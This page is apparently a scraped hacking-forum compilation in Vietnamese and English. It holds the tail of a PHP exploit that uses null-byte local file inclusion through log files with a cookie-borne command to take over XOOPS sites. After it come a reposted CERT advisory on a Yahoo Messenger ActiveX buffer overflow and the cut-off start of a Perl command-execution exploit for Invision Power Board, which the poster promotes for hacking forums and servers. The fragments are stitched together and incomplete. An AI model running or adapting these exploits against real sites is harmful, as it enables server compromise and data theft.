Hacker Professional Ebook part 443 ppt

Nguồn: http://www.kb.cert.org/vuls/id/901852 Vulnerability Note VU#901852 Yahoo Messenger YMailAttach ActiveX control buffer overflow Overview The Yahoo Messenger YMailAttach ActiveX con

" / / / / / / / / / /var/log/access_log",

" / / / / / / / / / /var/log/error_log"

);

$xpl= array (

"misc.php?xoopsOption[nocommon]=1&xoopsConfig[language]=", "index.php?xoopsOption[nocommon]=1&xoopsConfig[theme_set]=" );

for ($j=0; $j<=count($xpl)-1; $j++)

{

for ($i=0; $i<=count($paths)-1; $i++)

{

$a=$i+2;

echo "[".$a."] Trying with: ".$xpl[$j].$paths[$i]."%00\r\n";

$packet ="GET ".$p.$xpl[$j].$paths[$i]."%00 HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: cmd=".$cmd.";\r\n";

$packet.="Connection: Close\r\n\r\n";

#debug

#echo quick_dump($packet);

sendpacketii($packet);

if (strstr($html,"*delim*"))

{

echo "Exploit succeeded \r\n";

$temp=explode("*delim*",$html);

die($temp[1]);

}

}

}

//if you are here

echo "Exploit failed ";

?>

micimacko(HCE)

Yahoo Messenger YMailAttach ActiveX control buffer overflow

Nguồn: http://www.kb.cert.org/vuls/id/901852

Vulnerability Note VU#901852

Yahoo Messenger YMailAttach ActiveX control buffer overflow

Overview

The Yahoo Messenger YMailAttach ActiveX control contains a buffer overflow, which could allow a remote, unauthenticated attacker to execute arbitrary code on

a vulnerable system

I Description

Yahoo Messenger is an instant messaging application Yahoo Messenger includes several ActiveX controls The YMailAttach ActiveX control, which is provided by ymmapi.dll, contains a buffer overflow vulnerability

II Impact

By convincing a user to view a specially crafted HTML document (e.g., a web page or an HTML email message or attachment), an attacker may be able to

execute arbitrary code with the privileges of the user The attacker could also cause Internet Explorer (or the program using the WebBrowser control) to crash

III Solution

Apply an update

As specified in the Yahoo Security Update, this issue is addressed in versions of Yahoo Messenger from Nov 2nd 2006 or later Version 2005.1.1.4 or higher of ymmapi.dll contains the fix

Disable the YMailAttach ActiveX control in Internet Explorer

The Yahoo YMailAttach ActiveX control can be disabled in Internet Explorer by setting the kill bit for the following CLSID:

{AA218328-0EA8-4D70-8972-E987A9190FF4}

More information about how to set the kill bit is available in Microsoft Support Document 240797 Alternatively, the following text can be saved as a REG file and imported to set the kill bit for this control:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{AA218328-0EA8-4D70-8972-E987A9190FF4}]

"Compatibility Flags"=dword:00000400

Disable ActiveX

Disabling ActiveX controls in the Internet Zone (or any zone used by an attacker) appears to prevent exploitation of this and other ActiveX vulnerabilities

Instructions for disabling ActiveX in the Internet Zone can be found in the

"Securing Your Web Browser" document

Systems Affected

Vendor Status Date Updated

Yahoo, Inc Vulnerable 15-Dec-2006

References

http://www.cert.org/tech_tips/securi ernet_Explorer

http://messenger.yahoo.com/security_ php?id=120806

Credit

Thanks to Yahoo for reporting this vulnerability

This document was written by Will Dormann

Other Information

Date Public 12/08/2006

Date First Published 12/15/2006 02:31:05 PM

Date Last Updated 12/15/2006

CERT Advisory

CVE Name

Metric 27.94

Document Revision 5

Langtuhaohoa(HCE)

Invision Power Board Multiple Vulnerabilities (bài 1)

Trích:

Release Date: 2006-04-26

Critical: Highly critical

Impact: Security Bypass

Cross Site Scripting

Manipulation of data

System access

Where: From remote

Solution Status: Vendor Patch

Software: Invision Power Board 2.x

Hàng nóng đây

Đã test thử ver 2.0.3 , 2.1.4

Đánh giá : Quá nguy hiểm !

Có thể dùng để hack forum , hack server (nếu bảo mật kém!) Khuyến cáo các webmaster nên upgrade patch ngay !

Video xpl0it :

Trích:

Video

Code xpl0it = perl :

Code:

#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC

## vulnerable versions <= 2.1.5

## tested on 2.1.4, 2.0.2

##

## (c)oded by 1dt.w0lf

## RST/GHC

## http://rst.void.ru

## http://ghc.ru

use IO::Socket;

use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host = $opt_h;